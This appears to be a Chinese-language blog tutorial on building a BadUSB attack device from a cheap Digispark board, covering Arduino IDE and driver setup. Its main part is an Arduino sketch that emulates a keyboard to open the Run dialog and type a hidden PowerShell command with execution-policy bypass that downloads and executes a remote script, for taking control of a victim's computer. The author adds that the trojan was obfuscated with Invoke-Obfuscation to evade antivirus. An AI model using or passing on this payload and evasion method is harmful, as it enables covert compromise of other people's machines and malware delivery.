本文badusb基于digispark制作,成本大概14元,淘宝找的到
Arduino IDE+驱动
我用的1.6.7
安装后,找到driver目录
默认安装 C:\\Program Files (x86)\\Arduino\\drivers
正常安装完后去查看设备会有下图的设备,
如果提示设备未知,那么可以安装另外单独的文件里的驱动
链接:百度网盘 请输入提取码 提取码:y52y
然后去配置arduino环境
https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
这里很容易踩坑,必须挂代理,否则github上不去,上一步配置的digispark开发板的管理器就加载不出来,这里和其他博主的不一样,分支应该是改名字融合了,安装这个。
现在环境配好了,下面的是如何用badusb支配电脑
这种方法缺点特别明显,隐藏性很差,基本上可以说是百分百被察觉异常。
- 直接上线
- #include "DigiKeyboard.h"
- #define KEY_ESC 41
- #define KEY_BACKSPACE 42
- #define KEY_TAB 43
- #define KEY_PRT_SCR 70
- #define KEY_DELETE 76
-
- void setup() {
-
- DigiKeyboard.delay(5000);
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(3000);
- DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
- DigiKeyboard.delay(1000);
- DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('
');" )); - DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(750);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
-
- }
- void loop() {
- }
-
给他弹个窗问候一下
马子做了免杀,用的Invoke-Obfuscation,免杀率还可以
但是根据行为查杀,火绒会报毒